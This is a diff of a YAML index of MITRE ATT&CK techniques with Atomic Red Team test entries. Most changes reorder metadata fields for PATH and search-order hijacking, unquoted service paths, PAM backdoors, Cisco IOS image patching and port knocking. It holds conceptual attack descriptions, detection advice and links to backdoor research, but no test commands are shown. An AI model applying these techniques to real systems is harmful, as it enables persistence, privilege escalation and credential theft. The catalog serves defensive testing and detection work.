+        description: Bialek, J. (2013, September 15). Intercepting Password Changes
+          With Function Hooking. Retrieved November 21, 2017.
+        url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
       identifier: T1556.002
     atomic_tests:
     - name: Install and Register Password Filter DLL
@@ -34491,43 +35414,21 @@ defense-evasion:
         elevation_required: true
   T1601.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1601.001
-        url: https://attack.mitre.org/techniques/T1601/001
-      - source_name: Killing the myth of Cisco IOS rootkits
-        url: https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf
-        description: Sebastian 'topo' Muñiz. (2008, May). Killing the myth of Cisco
-          IOS rootkits. Retrieved October 20, 2020.
-      - source_name: Killing IOS diversity myth
-        url: https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf
-        description: 'Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August).
-          Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode
-          design. Retrieved October 20, 2020.'
-      - source_name: Cisco IOS Shellcode
-        url: http://2015.zeronights.org/assets/files/05-Nosenko.pdf
-        description: 'George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved
-          October 21, 2020.'
-      - source_name: Cisco IOS Forensics Developments
-        url: https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf
-        description: Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS
-          Forensics. Retrieved October 21, 2020.
-      - source_name: Juniper Netscreen of the Dead
-        url: https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf
-        description: Graeme Neilson . (2009, August). Juniper Netscreen of the Dead.
-          Retrieved October 20, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
-          IOS Image File Verification. Retrieved October 19, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
-          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Patch System Image
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-10-22T17:50:46.560Z'
+      created: '2020-10-19T19:49:24.129Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f
       description: "Adversaries may modify the operating system of a network device
         to introduce new capabilities or weaken existing defenses.(Citation: Killing
         the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation:
@@ -34578,30 +35479,61 @@ defense-evasion:
         \ However, live memory modification of the operating system can be combined
         with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve
         persistence. "
-      id: attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-10-22T17:50:46.560Z'
-      created: '2020-10-19T19:49:24.129Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: |-
         Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source.  Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not.  Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)
 
         Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory.  If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1601/001
+        external_id: T1601.001
+        source_name: mitre-attack
+      - url: https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf
+        description: Sebastian 'topo' Muñiz. (2008, May). Killing the myth of Cisco
+          IOS rootkits. Retrieved October 20, 2020.
+        source_name: Killing the myth of Cisco IOS rootkits
+      - url: https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf
+        description: 'Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August).
+          Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode
+          design. Retrieved October 20, 2020.'
+        source_name: Killing IOS diversity myth
+      - url: http://2015.zeronights.org/assets/files/05-Nosenko.pdf
+        description: 'George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved
+          October 21, 2020.'
+        source_name: Cisco IOS Shellcode
+      - url: https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf
+        description: Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS
+          Forensics. Retrieved October 21, 2020.
+        source_name: Cisco IOS Forensics Developments
+      - url: https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf
+        description: Graeme Neilson . (2009, August). Juniper Netscreen of the Dead.
+          Retrieved October 20, 2020.
+        source_name: Juniper Netscreen of the Dead
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
+          IOS Image File Verification. Retrieved October 19, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Image File Verification
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
+          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
     atomic_tests: []
   T1574.007:
     technique:
-      created: '2020-03-13T14:10:43.424Z'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Path Interception by PATH Environment Variable
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
       modified: '2020-09-16T16:56:34.583Z'
+      created: '2020-03-13T14:10:43.424Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -34609,48 +35541,64 @@ defense-evasion:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.007
-        url: https://attack.mitre.org/techniques/T1574/007
-      - external_id: CAPEC-13
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/13.html
-      - external_id: CAPEC-38
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/38.html
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Path Interception by PATH Environment Variable
+      x_mitre_defense_bypassed:
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32
       description: |-
         Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.
 
         The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g., <code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.
 
         For example, if <code>C:\example path</code> precedes </code>C:\Windows\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\example path</code> will be called instead of the Windows system "net" when "net" is executed from the command-line.
-      id: attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32
-      x_mitre_defense_bypassed:
-      - Application control
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+      x_mitre_contributors:
+      - Stefan Kanthak
       x_mitre_detection: |-
         Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.
 
         Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/007
+        external_id: T1574.007
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/13.html
+        external_id: CAPEC-13
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/38.html
+        external_id: CAPEC-38
+        source_name: capec
+    atomic_tests: []
+  T1574.008:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Path Interception by Search Order Hijacking
       x_mitre_data_sources:
       - 'File: File Creation'
       - 'File: File Modification'
       - 'Process: Process Creation'
-      x_mitre_contributors:
-      - Stefan Kanthak
+      x_mitre_version: '1.0'
+      modified: '2020-09-17T19:03:35.217Z'
+      created: '2020-03-13T17:48:58.999Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2
       x_mitre_platforms:
       - Windows
-    atomic_tests: []
-  T1574.008:
-    technique:
-      id: attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      - SYSTEM
       description: |-
         Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.
 
@@ -34659,33 +35607,53 @@ defense-evasion:
         For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)
 
         Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
-      name: Path Interception by Search Order Hijacking
+      x_mitre_effective_permissions:
+      - Administrator
+      - SYSTEM
+      - User
+      x_mitre_contributors:
+      - Stefan Kanthak
+      x_mitre_detection: |
+        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.
+
+        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1574/008
         external_id: T1574.008
-        url: https://attack.mitre.org/techniques/T1574/008
-      - external_id: CAPEC-159
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/159.html
+        external_id: CAPEC-159
         source_name: capec
-        url: https://capec.mitre.org/data/definitions/159.html
-      - url: http://msdn.microsoft.com/en-us/library/ms682425
+      - source_name: Microsoft CreateProcess
         description: Microsoft. (n.d.). CreateProcess function. Retrieved December
           5, 2014.
-        source_name: Microsoft CreateProcess
-      - source_name: Windows NT Command Shell
-        url: https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120
+        url: http://msdn.microsoft.com/en-us/library/ms682425
+      - url: https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120
         description: Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved
           December 5, 2014.
-      - url: http://msdn.microsoft.com/en-us/library/ms687393
+        source_name: Windows NT Command Shell
+      - source_name: Microsoft WinExec
         description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.
-        source_name: Microsoft WinExec
-      - source_name: Microsoft Environment Property
-        url: https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN
+        url: http://msdn.microsoft.com/en-us/library/ms687393
+      - url: https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN
         description: Microsoft. (2011, October 24). Environment Property. Retrieved
           July 27, 2016.
+        source_name: Microsoft Environment Property
+    atomic_tests: []
+  T1574.009:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Path Interception by Unquoted Path
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2020-09-17T19:05:23.755Z'
+      created: '2020-03-13T13:51:58.519Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -34693,91 +35661,46 @@ defense-evasion:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-09-17T19:03:35.217Z'
-      created: '2020-03-13T17:48:58.999Z'
       x_mitre_platforms:
       - Windows
-      x_mitre_contributors:
-      - Stefan Kanthak
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_detection: |
-        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.
-
-        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      - SYSTEM
-      x_mitre_effective_permissions:
-      - Administrator
-      - SYSTEM
-      - User
       x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-    atomic_tests: []
-  T1574.009:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.009
-        url: https://attack.mitre.org/techniques/T1574/009
-      - external_id: CAPEC-38
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/38.html
-      - source_name: Microsoft CurrentControlSet Services
-        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
-        description: Microsoft. (2017, April 20). HKLM\SYSTEM\CurrentControlSet\Services
-          Registry Tree. Retrieved March 16, 2020.
-      - source_name: Help eliminate unquoted path
-        url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
-        description: Mark Baggett. (2012, November 8). Help eliminate unquoted path
-          vulnerabilities. Retrieved November 8, 2012.
-      - source_name: Windows Unquoted Services
-        url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
-        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
-          Services. Retrieved August 10, 2018.
-      - source_name: Windows Privilege Escalation Guide
-        url: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-        description: absolomb. (2018, January 26). Windows Privilege Escalation Guide.
-          Retrieved August 10, 2018.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Path Interception by Unquoted Path
+      id: attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b
       description: |-
         Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.
 
         Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)
 
         This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.
-      id: attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-09-17T19:05:23.755Z'
-      created: '2020-03-13T13:51:58.519Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
+      x_mitre_contributors:
+      - Stefan Kanthak
       x_mitre_detection: |-
         Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.
 
         Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_contributors:
-      - Stefan Kanthak
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/009
+        external_id: T1574.009
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/38.html
+        external_id: CAPEC-38
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
+        description: Microsoft. (2017, April 20). HKLM\SYSTEM\CurrentControlSet\Services
+          Registry Tree. Retrieved March 16, 2020.
+        source_name: Microsoft CurrentControlSet Services
+      - url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
+        description: Mark Baggett. (2012, November 8). Help eliminate unquoted path
+          vulnerabilities. Retrieved November 8, 2012.
+        source_name: Help eliminate unquoted path
+      - url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
+        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
+          Services. Retrieved August 10, 2018.
+        source_name: Windows Unquoted Services
+      - url: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
+        description: absolomb. (2018, January 26). Windows Privilege Escalation Guide.
+          Retrieved August 10, 2018.
+        source_name: Windows Privilege Escalation Guide
       identifier: T1574.009
     atomic_tests:
     - name: Execution of program.exe as service with unquoted service path
@@ -34810,42 +35733,16 @@ defense-evasion:
         elevation_required: true
   T1556.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1556.003
-        url: https://attack.mitre.org/techniques/T1556/003
-      - source_name: Apple PAM
-        url: https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt
-        description: Apple. (2011, May 11). PAM - Pluggable Authentication Modules.
-          Retrieved June 25, 2020.
-      - source_name: Man Pam_Unix
-        url: https://linux.die.net/man/8/pam_unix
-        description: die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June
-          25, 2020.
-      - source_name: Red Hat PAM
-        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules
-        description: Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES
-          (PAM). Retrieved June 25, 2020.
-      - source_name: PAM Backdoor
-        url: https://github.com/zephrax/linux-pam-backdoor
-        description: zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June
-          25, 2020.
-      - source_name: PAM Creds
-        url: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/
-        description: Fernández, J. M. (2018, June 27). Exfiltrating credentials via
-          PAM backdoors & DNS requests. Retrieved June 26, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Pluggable Authentication Modules
-      description: |-
-        Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)
-
-        Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)
-
-        Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)
-      id: attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771
       type: attack-pattern
+      name: Pluggable Authentication Modules
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '2.0'
+      modified: '2021-10-17T14:48:33.580Z'
+      created: '2020-06-26T04:01:09.648Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
@@ -34853,25 +35750,51 @@ defense-evasion:
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2021-04-20T20:12:34.422Z'
-      created: '2020-06-26T04:01:09.648Z'
-      x_mitre_version: '2.0'
+      id: attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771
+      x_mitre_platforms:
+      - Linux
+      - macOS
       x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - root
+      description: |-
+        Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)
+
+        Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)
+
+        Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)
+      x_mitre_contributors:
+      - Scott Knight, @sdotknight, VMware Carbon Black
+      - George Allen, VMware Carbon Black
       x_mitre_detection: |-
         Monitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.
 
         Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      - 'Logon Session: Logon Session Creation'
-      x_mitre_contributors:
-      - Scott Knight, @sdotknight, VMware Carbon Black
-      - George Allen, VMware Carbon Black
-      x_mitre_platforms:
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1556/003
+        external_id: T1556.003
+        source_name: mitre-attack
+      - url: https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt
+        description: Apple. (2011, May 11). PAM - Pluggable Authentication Modules.
+          Retrieved June 25, 2020.
+        source_name: Apple PAM
+      - url: https://linux.die.net/man/8/pam_unix
+        description: die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June
+          25, 2020.
+        source_name: Man Pam_Unix
+      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules
+        description: Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES
+          (PAM). Retrieved June 25, 2020.
+        source_name: Red Hat PAM
+      - url: https://github.com/zephrax/linux-pam-backdoor
+        description: zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June
+          25, 2020.
+        source_name: PAM Backdoor
+      - url: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/
+        description: Fernández, J. M. (2018, June 27). Exfiltrating credentials via
+          PAM backdoors & DNS requests. Retrieved June 26, 2020.
+        source_name: PAM Creds
       identifier: T1556.003
     atomic_tests:
     - name: Malicious PAM rule
@@ -34968,26 +35891,31 @@ defense-evasion:
 '
   T1205.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1205.001
-        url: https://attack.mitre.org/techniques/T1205/001
-      - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
-        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
-          backdoor. Retrieved October 13, 2018.'
-        source_name: Hartrell cd00r 2002
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Port Knocking
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.1'
+      modified: '2020-10-21T01:26:31.804Z'
+      created: '2020-07-01T18:23:25.002Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      - Network
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd
       description: |-
         Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.
 
         This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.
 
         The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
-      id: attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -34995,34 +35923,40 @@ defense-evasion:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-10-21T01:26:31.804Z'
-      created: '2020-07-01T18:23:25.002Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: Record network packets sent to and from the system, looking
         for extraneous packets that do not belong to established flows.
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Flow'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1205/001
+        external_id: T1205.001
+        source_name: mitre-attack
+      - source_name: Hartrell cd00r 2002
+        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
+          backdoor. Retrieved October 13, 2018.'
+        url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
     atomic_tests: []
   T1055.002:
     technique:
